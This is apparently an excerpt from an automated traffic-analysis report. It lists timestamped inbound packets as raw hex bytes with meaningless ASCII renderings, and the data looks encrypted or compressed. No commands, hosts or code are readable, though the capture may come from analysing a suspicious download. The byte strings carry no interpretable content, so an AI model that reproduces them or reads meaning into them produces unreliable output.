2023-03-20 10:38:24 UTC	20	IN	Data Raw: f5 2b 15 34 c0 06 f9 96 ff 4f 4f 3a 26 cd 56 0a f2 e8 09 0b 42 d1 28 9b 21 5b 11 37 a8 cd b1 de 50 af ca e0 a3 26 7c 22 95 9e 97 d3 c2 90 4d 72 25 41 d0 ce e8 e6 a5 7f f9 33 84 98 bd 05 f7 a1 0f ac fc 0c ad 95 4f e4 24 0e 6a f0 3d bb f6 c8 67 8d 56 70 01 e1 5a f9 78 12 d4 ed c9 82 dd 71 a9 dd 44 1c 5e 58 2d 7a 7a b0 88 07 5b 40 25 10 1c 0b 97 5a 2d fb c0 8d 45 de c8 9f e9 5e 26 11 dc cc 5f 38 4f 0e 3a fa 8e 56 6e 13 1c 6d 52 43 cb d4 ee 24 37 f4 9b 22 b6 02 e5 a6 a7 ca 22 46 b4 fa 83 05 b9 94 7b 50 7b f6 c2 32 e2 17 aa d6 11 07 87 7e 8f 22 0e fb 30 8a 6d 0b 51 aa 9f 97 0d 40 ff 8d 01 4b 05 8a b2 06 91 40 a7 0a 7d e4 68 bd 3c e7 4b 20 08 d9 06 c9 e2 ca 28 fe 1b db 11 a9 3f 7d df a8 7d 4e 6d c9 db 1b d8 ce 6c 03 f6 0c d1 8e 2a 71 23 0e d8 7b 89 ed ab a2 76 Data Ascii: +4OO:&VB(![7P&\|"Mr%A3O$j=gVpZxqD^X-zz[@%Z-E^&_8O:VnmRC$7""F{P{2~"0mQ@K@}h<K (?}}Nml*q#{v
2023-03-20 10:38:24 UTC	21	IN	Data Raw: 6a 5e b6 cb 90 4c 33 23 c5 f6 f8 4e 63 6a c9 d7 84 b4 b7 b0 3d 52 95 ed 4c f1 53 e3 69 bc ca f9 a1 19 30 9a 52 52 65 58 69 b4 10 e9 a3 ef bc 03 2c 84 59 62 04 a4 68 1a e7 9c fa 30 57 b4 e0 ff 60 4c 2f 17 72 8b 76 23 dd d8 ca 28 4b 28 95 a6 3c a8 0d 19 63 b9 0f 89 48 5d 5c 83 36 32 3a 05 ed d9 be 42 32 04 bc 46 b0 3e d6 f4 75 4e 5d bb a0 ff d1 d5 01 d6 47 19 39 72 29 bb f2 47 10 76 a9 25 f6 c0 bf 78 ce 08 f0 59 79 e7 ef 91 7b 58 e7 2c ca 40 73 4c 40 fe be 27 36 b2 8e 36 3c e1 aa 2a 63 98 f1 1d 8f 2a 83 c7 48 9b 9f 83 43 b7 b7 26 a2 9c f8 dd e1 55 bf 57 ed 7f b7 a2 fb 4f f9 a7 14 07 ad 9d e1 8d cd fa 24 48 c3 66 9d 9a c8 07 27 43 c0 cb bc 2c ce 7d 48 27 d4 d6 7b dd b6 95 cd aa 60 69 f7 a0 b5 76 35 22 86 b5 0b 1c 6d 4a 47 95 c2 9c 0d c7 92 89 23 7c c2 4e c4 Data Ascii: j^L3#Ncj=RLSi0RReXi,Ybh0W`L/rv#(K(<cH]\62:B2F>uN]G9r)Gv%xYy{X,@sL@'66<cHC&UWO$Hf'C,}H'{`iv5"mJG#\|N
2023-03-20 10:38:24 UTC	22	IN	Data Raw: f9 0c 07 7a 69 3f 52 f3 2c 2c e0 c2 b7 f9 96 e6 78 21 ba 2a cd 5c 06 f0 e2 22 1a 44 f9 53 bd 11 5f 15 6a 83 cd b7 d1 43 9f de e0 ef ab 43 22 92 9f b2 d4 b0 fc 7f 48 55 e3 ff d9 c2 54 5b 79 53 91 a1 86 bc 3b e2 a1 79 73 ea 15 d3 b5 4d fb 2d ae 34 d9 4f 2d f0 b6 16 2e 73 61 69 c2 cd f9 7c b6 8c c5 bb f8 c3 73 a2 4b 6c 9f 5a 26 26 70 52 52 a0 05 50 47 40 9a 1a 27 9c 56 25 f3 c3 2e 43 f4 ce 84 f3 57 26 aa cc fc 5a 13 ce 0e 2b fa c2 4e 6e 02 18 1c 0a ab ca af ff 20 33 f0 bb 28 a1 fc e4 52 a0 ff 3a 6b 90 f8 ec e2 d2 94 7f 5c 5a f7 d5 3b ea 60 be c2 14 3d b8 52 8c 22 08 89 81 9c 13 21 3e 39 9b bf 0f 40 ff a0 5d fa 25 8e b9 74 65 a4 a6 69 51 9a 6c 91 13 9b 00 18 08 dd 2a 8f e7 db 27 ac 0e ca 14 af 12 62 dd ad 3d c4 d8 dd cf 35 1d 5a 6c 09 84 1c 42 8e 2b 7c 23 09 Data Ascii: zi?R,,x!\"DS_jCC"HUT[yS;ysM-4O-.sai\|sKlZ&&pRRPG@'V%.CW&Z+Nn 3(R:k\Z;`=R"!>9@]%teiQl'b=5ZlB+\|#
2023-03-20 10:38:24 UTC	23	IN	Data Raw: b5 9b e1 18 d4 f9 f4 7b 23 f7 cd 81 4d 95 45 3a f2 e1 3b 3d 62 e4 1d 88 ce 96 cb 72 52 95 e9 4e ba 42 b8 4a b8 e2 e9 a0 19 3a 0a 12 09 48 d2 97 b7 16 58 bc e2 85 99 00 cd 51 74 8e dc 11 42 cc 9c f8 18 55 cf b2 e4 50 4a 07 34 73 8b 7c 47 8c d8 db 2c 4e 16 a3 dd 6d ae 1a 72 99 c2 5d 83 48 71 40 93 37 34 5f fc ef dc 3a 2b 91 5f 99 6e 80 3c d4 85 2b 4e 75 ef 88 f0 da 0b 0b ab 3e 18 29 76 29 bb d8 46 10 6c a1 15 fb 84 25 78 cf 13 f7 5b 79 ed ef 93 00 0c e7 2c df 3e 72 65 76 f4 96 30 37 6c 8b 19 12 c6 ae 3b 6d be fc 37 a4 67 83 cd 92 b3 8d a8 43 bc a7 26 a2 9e 83 8d e1 5c b1 29 e3 3a b7 a8 d2 45 c8 a5 1e 17 aa 8e e4 85 c8 d6 38 4a b8 1f aa 9a cc 29 35 9c cf e4 94 18 ce 7f 39 62 d4 fe 2f a3 b7 9e 13 a0 48 52 f6 a1 af 7a 3d 31 80 a5 0d 39 6a 48 33 9e c2 9c 08 fc Data Ascii: {#ME:;=brRNBJ:HXQtBUPJ4s\|G,Nmr]Hq@74_:+_n<+Nu>)v)Fl%x[y,>rev07l;m7gC&\):E8J)59b/HRz=19jH3
2023-03-20 10:38:24 UTC	25	IN	Data Raw: ff 86 dc b3 70 2b d1 ef 2a 28 6d 78 18 4e fd 22 0e 33 66 de d1 83 f4 48 2a ba 2f dc 50 88 93 34 2f 0b 44 fb 39 83 06 89 02 6b b9 c6 a0 f1 de c6 25 e4 ad a4 52 2d b8 25 ba cf 9b fe 51 58 55 f0 c5 dd c0 1f a5 7f f3 91 a1 80 cf 82 e9 2c 25 0e d9 14 f6 61 d0 e4 20 a8 67 fc 4e 2d fe 48 49 2f 73 6f 65 67 00 f9 7c b1 d4 e8 a5 64 47 2e d9 7f 68 80 44 70 30 70 52 52 08 67 51 47 4e e2 37 0a 9d 26 a5 92 eb 8d 47 e2 48 e0 d9 57 22 bc 5f a9 5f 13 4b 24 2b fa f0 55 5e 17 18 b3 1c 55 cb 9a f8 0c 46 f4 e8 30 a1 fc ee a6 89 30 32 47 b2 f0 91 ba cb 95 7b 5b 45 25 c0 39 ef 5c 78 c0 11 77 96 9c 96 23 0e f0 19 b7 71 35 53 82 80 be 09 4a f2 96 e3 c1 05 8a b9 51 73 28 10 5a 55 fb ca 98 21 90 14 30 09 dd 28 3e c7 d2 50 b3 37 db 61 0f 32 31 d6 c7 7b ed 79 db 6d 16 74 bc 25 28 82 Data Ascii: p+(mxN"3fH/P4/D9k%R-%QXU,%a gN-HI/soeg\|dG.hDp0pRRgQGN7&GHW"__K$+U^UF002G{[E%9\xw#q5SJQs(ZU!0(>P7a21{ymt%(
2023-03-20 10:38:24 UTC	26	IN	Data Raw: 5a 4d de 5a c8 2a eb de e6 b1 18 12 fd f6 79 61 a5 cd 81 b6 bf 4a 3b fc eb 46 72 62 e4 19 8c cb a4 b6 3d 1f 95 ed 4c 81 12 b8 5b bc c8 77 c8 01 ea 1d c4 84 17 c6 69 b5 16 52 b8 ef 82 9e a2 ed 44 ab 28 a0 6d 10 c6 9c d4 93 57 b4 ea ec 44 58 07 1e 73 8b 7c 55 5f d8 db 22 40 07 b7 8e 1d af 1a 7c b3 9b 0e 83 42 07 43 82 36 44 3a 53 ed d9 be 49 eb 01 b2 6e 82 14 d6 fe 7f 55 45 ed a0 36 d8 0b 01 97 6d 18 38 72 29 c9 71 63 10 1c 9a 46 f9 84 b5 72 c9 1f d6 56 52 da e7 98 e1 52 e3 2c ca 44 1c 05 76 fe b4 21 e8 7c a4 3b 20 d5 aa 20 7a 97 f1 1d 8f 2a 83 c7 48 9b 9f a9 4a a1 71 2b ab 94 76 b5 1f 58 a6 51 f3 3d 9a 6c da dc da a5 14 34 56 9d e1 9e cd 84 13 49 c3 44 d8 09 ed 01 57 f2 d2 ef 94 12 bc 56 43 2d a4 91 0b dc b6 95 7c 94 60 43 fd aa a2 71 47 23 a0 b4 7b 7a 40 Data Ascii: ZMZyaJ;Frb=L[wiRD(mWDXs\|U_"@\|BC6D:SInUE6m8r)qcFrVRR,Dv!\|; zHJq+vXQ=l4VIDWVC-\|`CqG#{z@
2023-03-20 10:38:24 UTC	27	IN	Data Raw: 97 e5 7d 48 98 0d 66 ee 88 a5 ba 71 38 d5 92 07 04 7a 69 14 58 f5 2b 5f 64 c0 29 f9 96 ff ff 33 bc 30 de 5b 17 fc f5 f8 1c 92 76 7a 88 11 5e 02 68 b9 cb a6 21 43 a2 cd f3 b0 80 62 33 9d 8e bc c6 a1 f9 4f 1d 7a e2 f5 d3 df 46 8d 51 f2 91 ab 1e de 9a fa 77 6c 09 c8 1b c4 67 5c ea 31 a2 5e e7 7e f4 e5 c0 99 46 64 b1 68 3c d7 ab 7c b0 f0 e2 b2 e9 ce 67 c8 77 7a 0b 4f 5c 46 ef 43 50 9f 16 58 50 5b 98 92 62 8a 8c 0d 62 eb 8d 49 f4 e3 b6 d1 d9 4f b2 07 db 85 04 99 83 79 fa f0 4f 7d 1c 10 09 0d 5a dd ac 76 65 7f 67 9b 28 aa fc ec ba b0 fc 3a c9 dd f2 19 bc fa 07 7b 51 59 db d3 3d e4 65 e5 c8 9f 1e 98 7d e5 dc 0c e9 05 8d 03 0a ee bb 93 31 60 57 25 9c b8 73 57 8a b8 75 76 50 b6 72 db e2 7f 67 25 88 6c 33 1a f6 37 8d e8 db 30 97 cc ca 19 bc 05 bc d7 b9 65 fb a3 49 Data Ascii: }Hfq8ziX+_d)30[vz^h!Cb3OzFQwlg\1^~Fdh<\|gwzO\FCPXP[bbIOyO}Zveg(:{QY=e}1`W%sWuvPrg%l370eI
2023-03-20 10:38:24 UTC	28	IN	Data Raw: 4a d1 5f ea e0 bc da 28 66 df 1e b8 3c c2 bc e6 b1 12 c2 03 f5 26 4b ab dc 8d 65 f0 57 b6 cd eb 46 73 47 f2 6b d5 f0 94 c0 9f 77 82 e4 ee e4 0a ca 99 94 ca 89 03 3c 29 1b 16 ab 68 dc 1b fd 3b 50 df 45 b1 87 3d 81 f1 54 1c c7 37 31 cc ec 5e 32 d4 b4 e0 ee 43 43 51 30 72 8b 72 2b d0 f0 9d 28 4b 0a 21 ad 3c ae 1e 76 9b a8 08 94 9e 66 6f 92 31 25 53 c2 0d 27 4b bd ec 0b 47 7e a1 16 e2 fe 7f 44 66 e5 a0 d7 8b 0b 01 dc b3 18 29 58 68 a7 f2 46 10 6c b2 25 ea 84 bf 78 98 12 c0 5b 13 fd ef 91 6b 41 e7 2c 9f 40 73 65 6d ce ba 21 4a 6d 81 13 51 d5 aa 3b 69 8d ed 1d c8 2b 83 c7 e4 78 b7 a9 33 9e e1 26 a2 96 f2 dc e7 2f aa 56 e2 3d bc a5 88 ad ee a5 64 73 b7 9c e1 92 eb fc 1d 2d c3 4e a0 96 c0 38 14 9c cf ee 93 77 d5 7c 42 2b c3 24 38 db a0 8c 14 92 77 42 f7 a1 a2 67 Data Ascii: J_(f<&KeWFsGkw<)h;PE=T71^2CCQ0rr+(K!<vfo1%S'KG~Df)XhFl%x[kA,@sem!JmQ;i+x3&/V=ds-N8w\|B+$8wBg
2023-03-20 10:38:24 UTC	30	IN	Data Raw: cc 13 6f 8e 23 34 c1 b9 e4 77 54 75 0a 77 eb f9 e1 4c 71 48 c9 d6 44 04 7a 63 02 a6 f6 74 0c 33 f9 bb d5 db e8 c5 1f ba 26 cc 79 10 88 65 08 0b 34 59 0d 9f 18 fd 34 78 da 1e 99 fb 20 0d fe f9 af af e1 07 8f ed fb e4 b0 8e f5 57 4e f2 f0 7b e5 4a d7 24 d2 91 d1 22 e7 1e e2 a1 75 1d d4 6b d8 b1 4f e0 31 a1 67 ac 4f 2d fe 48 1c 2f 73 6f 7f ea 4b fe 6b 66 e2 f6 aa ff d6 77 e7 9f 92 60 a1 58 27 af 42 7d a0 33 51 47 40 83 12 0b b5 06 25 f1 e1 53 43 f4 e2 c5 c5 57 26 aa df cc 5f 00 4f 0e 2b ad f1 4e 6e 79 19 1f 1c 45 cb a4 f8 48 57 f4 9a 33 90 f8 e4 d0 a0 f3 32 02 b4 fa 86 d5 cd 88 53 46 52 db c8 40 ef 4e f4 b0 39 31 90 f3 86 28 0e fc 66 83 12 27 57 a1 9c cd f0 67 ff fb 01 e4 04 8a be 52 63 72 c2 7a 55 81 64 b5 0f aa 7a 20 08 da 41 87 e3 ca 24 97 cc c8 17 bb 04 Data Ascii: o#4wTuwLqHDzct3&ye4Y4x WN{J$"ukO1gO-H/soKkfw`X'B}3QG@%SCW&_O+NnyEHW32SFR@N91(f'WgRcrzUdz A$
2023-03-20 10:38:24 UTC	31	IN	Data Raw: 97 66 5f 29 17 7d 3e 38 f0 48 14 93 bb f7 3a 4d de 14 de d4 e9 cd e3 c3 33 d5 fd 86 6f 70 c7 cd 81 43 ab b4 38 ad f8 4a 63 6e c8 54 91 55 ab b0 3d 53 b0 fb 3e ce 3f b8 3a 1e ef ee a8 bb 15 12 60 da 65 c6 19 16 3f 49 be e3 36 b9 36 f6 1a 50 00 c5 ce 35 d7 8d f9 b8 72 a8 92 bf 71 4e 5f 99 5a 08 76 3a d7 cb d6 56 40 00 a1 a2 2d a3 32 30 9b b9 05 03 43 75 68 87 36 34 44 fb fa 0f a7 45 fd 0c 88 68 ba de 28 01 80 4e 75 35 b0 da f3 3f 01 d6 67 0b 27 72 01 eb f2 46 1a b2 b2 25 d3 c5 a3 78 cf 13 c0 5b 79 ef ef 91 7b 16 e6 2c db 2a 72 64 76 ee be 21 36 28 81 13 15 ce 9a 2e 69 ee f0 35 df 6f 83 cd 87 9b 80 b5 6b a1 a6 26 a8 ee 6c f1 e1 2c 9d 11 e2 3b bd a8 fa 52 ba ba 15 1c ab 96 e6 e6 34 dd 35 38 ac 54 ab 9a ce 27 21 b5 aa ee 94 12 c2 75 7b 1e d5 fe 2b da d9 84 12 Data Ascii: f_)}>8H:M3opC8JcnTU=S>?:`e?I66P5rqN_Zv:V@-20Cuh64DEh(Nu5?g'rF%x[y{,*rdv!6(.i5ok&l,;R458T'!u{+
2023-03-20 10:38:24 UTC	32	IN	Data Raw: 84 14 75 e0 69 4e 04 e7 18 47 0b 35 1c a7 aa e1 7d 53 8f 7b 4d ef 8b ba 5b 59 58 df fe 2e 12 84 6a 05 5d 87 00 1e 3f 98 a1 d1 f6 f5 48 2a ac d8 ce 03 15 f6 f3 2e 27 09 e6 a5 b7 11 5f 10 45 be bf 58 d4 50 df 79 c5 a9 a2 e1 07 8d ed 61 ed b0 8e f5 57 4c f2 f1 7b e5 4c d7 36 d2 91 d1 22 ea 86 f3 a4 dd 2b c5 67 88 90 4f 94 82 84 cc ea 4f 27 e7 c5 69 24 73 6b 7b fb 57 d1 3a b0 f1 fb 3b f3 c7 71 dd 7f 6c 8e 59 4f f1 62 55 49 8f 16 57 79 aa 6e e3 f4 9d 56 fb e1 ce a5 77 f4 c8 8e ca 59 26 82 8f cc 5f 19 91 0e 2b d0 b1 52 6e 13 18 1f 1c 55 d8 a4 f8 0c 00 f5 9b 28 ca fd e4 ac b1 f3 32 47 f0 fa 97 d4 c9 a4 7f 51 2f da c2 32 ad 65 f4 d1 11 68 8c db 9b 23 0e f0 67 f9 23 27 21 82 dd bf 09 4a f5 8b 68 8d 1a 8b b8 72 6e 5d d5 83 72 8b 18 d2 2c 98 7b 26 2e db 06 f9 e2 ca Data Ascii: uiNG5}S{M[YX.j]?H*.'_EXPyaWL{L6"+gOO'i$sk{W:;qlYObUIWynVwY&_+RnU(2GQ/2eh#g#'!Jhrn]r,{&.
2023-03-20 10:38:24 UTC	33	IN	Data Raw: f5 91 3e 1f 8d c3 ca f8 7d 4d 2c 11 03 ba 4a db 43 3c 16 ad df 5c 5e db 1e d9 2e 98 f7 e7 b1 68 c2 d5 96 79 58 ad db 7f 4a ac 4f 49 d9 ea 46 02 74 cc 79 8c d8 9e a6 c3 51 ca fe 40 d0 1e 94 07 a1 47 c6 a1 19 31 2f 04 7b c6 f4 69 c4 b8 75 b8 ee 36 b9 34 f6 80 59 00 c5 ce 35 d5 8d f8 b8 72 ae 92 ad 71 4e 5f 99 57 90 67 3f 7f Data Ascii: >}M,JC<\^.hyXJOIFtyQ@G1/{iu64Y5rqN_Wg?
2023-03-20 10:38:24 UTC	33	IN	Data Raw: fd c7 5a 10 21 a1 d6 9e 86 99 76 9b b3 1c 8e 36 7e 68 83 32 25 58 d4 ab d9 b4 48 6c 00 99 6e 80 3e d6 ef 78 59 a3 f8 a7 ee dc 1a 07 e8 8d e6 d6 8d 29 bb 2c 56 35 44 86 25 f9 8e ac 76 cf 3b 90 5b 79 f6 31 91 7b 6b a6 30 db 40 73 64 76 fe ad 21 36 6c d6 12 14 d5 c0 2b 69 92 e1 35 df 2a c7 cd 96 9a 84 99 47 b6 db 27 a2 9c bd dc e1 4d b5 48 fe 13 a0 a3 fa 5e bb a2 27 1c dd b5 a7 94 cd f0 3f 48 c5 3d b5 9b c8 07 2c 9a bd 17 b3 18 be 12 58 2c d4 f8 0d db 9e fa 13 aa 6a 4f ff 98 96 77 35 22 81 db 10 14 67 4c 5f 0b d1 9a 1a c7 a5 b2 34 9c c2 4e c3 7d 41 8b 31 b0 51 7d 62 77 fd fe 4e e2 56 33 f6 0e ae a7 a9 65 e7 51 99 a7 22 1f 10 09 1f a3 55 24 fb 15 0c ed 3a d2 ef b7 32 3c 83 44 63 f7 02 6f 96 7e 3b 0e 67 9c c0 a9 0e cc bc d3 bf c3 23 71 83 8a df 22 0a 38 2b 6c Data Ascii: Z!v6~h2%XHln>xY),V5D%v;[y1{k0@sdv!6l+i5*G'MH^'?H=,X,jOw5"gL_4N}A1Q}bwNV3eQ"U$:2<Dco~;g#q"8+l
2023-03-20 10:38:24 UTC	34	IN	Data Raw: d9 65 71 94 54 f5 25 0e 6a f6 3d 76 d5 c8 67 8d 5b e8 7f ea 50 ea 71 ce fa f1 bb fc d6 7c f1 39 6c 9f 54 d8 2c 71 52 5c 88 07 40 40 5d 46 0f 0c 8c 51 34 f7 d5 6d bd 0b 37 84 d9 89 36 8f f7 f8 5f 13 45 1d 25 fa d8 1e 6e 13 12 c1 1c 55 e1 e5 e4 0c 57 f4 9b 28 a0 ef e4 ac a1 a4 33 47 b4 90 96 d5 d2 84 7b 51 53 9f c2 32 e9 7e c4 c4 11 0b 91 f3 8c 67 0e fa 04 9c 0c 3b 79 bd 9a bf 03 32 7c be 6e 8e 2d cc b8 74 6f 50 a7 7c 26 94 69 bd 30 92 7c 52 f1 fa 2e ec 8d d0 23 80 10 fd 17 85 72 28 df a2 7b e4 40 ee ce 33 6e c9 03 12 83 73 d7 99 f1 69 25 1f b9 e0 a7 fa da cd c1 60 fc d9 c5 1f 37 00 30 29 43 79 8b 78 e9 eb b9 56 0b 28 2b 6d 60 22 88 38 88 3d 34 c5 f1 94 2a f9 5e 6c 04 74 05 30 e2 b5 dd c0 a5 c3 c9 2b 31 87 09 e2 bb f3 b4 23 ad 08 29 5b c3 5f 72 9d 11 46 35 Data Ascii: eqT%j=vg[Pq\|9lT,qR\@@]FQ4m76_E%nUW(3G{QS2~g;y2\|n-toP\|&i0\|R.#r({@3nsi%`70)CyxV(+m`"8=4*^lt0+1#)[_rF5
2023-03-20 10:38:24 UTC	36	IN	Data Raw: 3e 3f d0 ae 6c 48 94 f9 db 58 e9 25 ba b7 39 0c 3f 6a e9 e2 2e 83 38 d7 40 00 36 34 5f ef e0 a7 bf 42 ec 0f 88 63 ac 78 d6 fe 75 ce 7e eb a0 fb db 0b 10 d1 7a ce 3a 75 38 bc e3 40 2e 8c 4c da 06 84 bf a6 df 36 e8 6f 79 fc e5 82 75 41 cf 7c db 40 79 ba 76 fe 94 60 2a 6c 81 13 14 d5 aa 39 69 92 f1 62 de 2a 83 a7 97 9b 9f b9 43 b6 a7 62 a2 9c f9 c7 d1 58 b5 2b e3 3b b7 e7 fa 54 d8 a5 0b 00 85 8a e0 94 c7 88 d4 7f c3 3e 82 dc c8 01 2d 97 cf e8 e7 07 cf 7d 44 26 d3 8c d2 fa b6 ef 7c b0 61 43 f1 87 a3 5e 50 22 86 be 07 1d 5e 79 49 d1 c2 9b 63 cf a3 8a 25 8a 18 5d c2 7a 55 fe 0e 8f 50 0d 0d 6d ed f9 3a e8 79 22 81 13 ae 8e a9 13 85 4b 89 a0 56 11 3c 0e 7e cb 3a 1e d3 13 6f 86 20 c2 e8 c3 1a 11 92 31 24 2d 03 6f 96 7e 36 0e 6a 98 44 af 26 f1 ae db a4 a4 33 33 85 Data Ascii: >?lHX%9?j.8@64_Bcxu~z:u8@.L6oyuA\|@yv`l9ibCbX+;T>-}D&\|aC^P"^yIc%]zUPm:y"KV<~:o 1$-o~6jD&33
2023-03-20 10:38:24 UTC	37	IN	Data Raw: f2 1c b5 e2 d1 dd 2b c0 04 d7 13 6a fe 52 e5 6e ea 3f 8f d1 d3 06 2a d1 4e 63 98 01 d8 7c c0 53 d9 38 f8 c7 7b ca 72 12 94 5e 58 23 60 5f 70 ce 07 51 4d ca 9b 1c 0b 99 56 25 e0 ec 9a 95 e7 cf 95 de 46 20 94 3f 32 a0 ec 4f 0e f5 ea d5 66 5a 13 18 15 0f 5b cb 8c a8 0c 57 fe 45 28 a0 d6 a5 b0 a1 f3 32 47 b4 fa 84 d5 d2 94 2c 50 53 db a8 33 e8 65 e4 c0 11 77 d4 f3 8c 23 15 ca 11 9c 6f 26 51 aa de bf 09 51 ff 94 72 d6 12 8b b8 7e 17 ab 9e 7a 25 a3 2e bd 36 93 71 20 0e ae 31 9d e2 cc 29 87 64 22 36 ad 67 47 c5 a9 77 ea 5f db e7 56 6e ce 66 05 8a 4a e2 8f 2b 7a 24 66 b1 e6 9f eb cc 17 d2 61 fb cd b0 20 08 01 40 46 59 69 8c 0c e3 c4 a8 21 16 28 02 6d 16 40 92 28 8f 49 3a e9 f6 f5 42 96 64 44 02 17 6e 2a f2 b2 a9 e8 88 d2 bc 6c eb 86 09 e2 bb fe b4 2e a9 8c 2f 73 Data Ascii: +jRn?Nc\|S8{r^X#`_pQMV%F ?2OfZ[WE(2G,PS3ew#o&QQr~z%.6q 1)d"6gGw_VnfJ+z$fa @FYi!(m@(I:BdDnl./s
2023-03-20 10:38:24 UTC	38	IN	Data Raw: 6a f5 91 f7 ed f2 6b 37 49 a1 a3 76 4a 7f fd c2 39 4f a2 84 bc 4e e7 3b 76 eb 1b 2a 98 59 70 ca a6 2a 46 0e dd ed a9 16 6a 6f 0b 99 64 97 33 a8 f5 7f 4e 71 fa ad d7 9d 0b 01 dc ed 13 29 72 2d bb f2 57 17 7b 64 36 fe 95 b8 69 c9 2d 20 a5 86 03 ef 91 a5 51 c2 04 ef 40 73 6e 65 f0 be 09 66 6c 81 19 ca d5 aa 00 28 8e f1 35 df 2a 83 cd 85 9b 9f a9 14 b7 a7 26 c8 9d f8 dc f1 5c b5 57 a6 3b b7 a3 e1 64 cd a5 68 1d ad 9d a4 94 cd eb 35 57 df 66 bd 9b c8 0b 55 d2 f3 ee e4 30 88 7d 42 27 de fe 2d ae a9 9e 13 ac 6b 44 85 58 82 76 45 4d 9c b5 0b 13 41 4c 60 b4 c2 9c 06 d8 aa b3 10 9c c2 4e c3 03 5d f8 36 9e 46 d7 1e 6c ea ed 4f d7 46 23 f1 7c b4 9e ae 67 8f 64 98 d7 4b 11 15 0e 08 a9 20 0e d4 67 61 aa 27 a3 80 ac 20 39 94 52 4f 37 13 68 e2 56 1b 1f 1f df 9e ae 26 f1 Data Ascii: jk7IvJ9ON;vYpFjod3Nq)r-W{d6i- Q@snefl(5*&\W;dh5WfU0}B'-kDXvEMAL`N]6FlOF#\|gdK ga' 9RO7hV&
2023-03-20 10:38:24 UTC	39	IN	Data Raw: c0 57 80 69 81 db 9f 80 bf 3f c7 b6 76 ac fc 0d a1 62 67 e4 50 0e 6a f3 5e 29 56 ed 0d 5d 3a 4a 7f 9a f8 dc 67 a1 f4 53 9e e4 b5 2a f8 7f 1c 3d 76 db 27 71 58 4b 85 79 5a 47 4a 94 0d 06 b5 10 25 f1 e1 0d 48 f4 c8 80 d9 57 37 ad c8 1a 4c 14 5e 09 3a fc ce ae 90 ec e7 1f 1c 8b db 81 d0 38 57 f4 91 3b ae fc cc fc a1 f3 38 99 b4 fa bd 94 ce 94 7b 51 53 db c2 21 e8 65 f4 97 10 77 90 99 8d 22 0e ea 15 9c 13 63 51 aa 9a a4 39 44 ff f7 6f fe 05 cf b8 74 74 5a b8 66 7d 9c 69 bd 3c eb bb 1e 08 ad 06 da e2 ca 28 8a 16 dd 62 b2 16 28 d9 a3 70 9e 80 fa cf 43 01 d4 6d 09 84 55 d7 a6 4e 7a 23 03 a6 ef a6 de da cd c1 60 82 c5 b6 18 19 17 9a 55 58 6e 98 79 dc fb a9 51 79 32 12 6a 62 4a bd 39 f8 54 3a c0 f6 83 20 8c 74 43 76 19 42 2d 93 da c6 d2 a0 d4 df 07 f1 96 0e 96 93 Data Ascii: Wi?vbgPj^)V]:JgS*=v'qXKyZGJ%HW7L^:8W;8{QS!ew"cQ9DottZf}i<(b(pCmUNz#`UXnyQy2jbJ9T: tCvB-
2023-03-20 10:38:24 UTC	41	IN	Data Raw: 11 b9 40 5d d1 11 c3 1a 57 b5 c5 f2 22 28 6f 3b 02 29 53 2d d4 7a fe 30 39 d3 89 a6 4c 0c 3f 6f 8a bd ad a6 52 07 21 a2 36 44 f7 d9 f6 c8 b1 e0 c9 17 eb 35 a5 3e a6 5c 57 cd 75 eb aa ec d6 75 0a d6 6d 1c 38 7f 01 fd f2 46 1a ec b9 25 f9 80 bf 78 de 14 d7 8d 6a fb fe 96 6a 47 d9 cc 25 bf 8c 64 76 20 ae 04 1e 58 81 13 1e c6 a4 2a 41 c2 f1 35 d5 f4 83 cd bc da 83 a9 43 b6 a7 26 a2 8f f8 dc e1 0b b4 57 e2 51 b6 a2 fa 44 c9 a5 14 58 ad 9d e0 8f fd fe 35 34 c2 4e aa df c8 01 36 9d d0 f2 bc 0f cf 7d 48 5f 34 be 2b ad 9e d9 13 aa 6a 49 f7 a7 d6 69 34 22 80 bf 0c 67 9e 6d 48 a1 ad 86 0d d4 a4 ac 25 b5 a7 4e c4 66 4a f1 0f ab 50 0d 0d 6d 93 e5 49 ef 57 35 2b 6f b5 99 ba 12 b0 5b 99 a7 24 0b 05 09 7c a3 0f 1f a3 7a 61 83 27 d5 e2 b6 30 3e e0 5c 63 30 72 00 8d 6c 33 Data Ascii: @]W"(o;)S-z09L?oR!6D5>\Wuum8F%xjjG%dv X*A5C&WQDX54N6}H_4+jIi4"gmH%NfJPmIW5+o[$\|za'0>\c0rl3
2023-03-20 10:38:24 UTC	42	IN	Data Raw: fe 5d 64 ab e0 aa ca cc 47 a9 53 be 8c 2c bf cf 9d e3 84 69 7c 03 57 d3 c1 ed c1 37 a5 ed cf 57 5f 27 e0 17 5f d1 4e 66 fb 5e 5b 59 aa 83 b8 9a f8 b7 d3 fc 64 7d 9a fc 7d 3b 03 09 79 88 77 f3 6f c9 90 1c 01 8e 5b 5b fa eb 8d 47 e5 c5 ac 9f 57 26 a0 5f c7 5f 13 4b 0e 2b eb f7 59 b8 00 1f 0e 1b 44 cd 9a 18 f2 a8 0b 9b 28 7e ec c1 84 95 f3 32 4d a7 f4 97 fd 82 94 7b 5b 8d db c2 18 a9 79 f4 c0 11 77 90 f3 9f 22 0e fa 42 9d 13 27 3b ab 9b bf 19 40 ff 8b 2a fe 05 8b a3 44 61 5a db 7b 55 8b 2d bd 36 88 7b 3f 14 f5 39 9d e2 c0 50 d4 55 db 61 85 51 28 df a2 7d ec 7f ae d0 32 6e c8 67 0e f0 8a f6 8e 5b 15 39 08 aa e1 b9 eb f3 a8 c1 67 e7 d2 bf 21 2c 01 40 46 59 17 90 7f e4 ea bf 8b 6a 33 15 7e 17 75 82 38 88 3b 20 d0 f1 f7 2a a3 65 34 6b 19 6b 2d e5 b8 dc c2 a7 a0 Data Ascii: ]dGS,i\|W7W_'_Nf^[Yd}};ywo[[GW&__K+YD(~2M{[yw"B';@DaZ{U-6{?9PUaQ(}2ng[9g!,@FYj3~u8; e4kk-
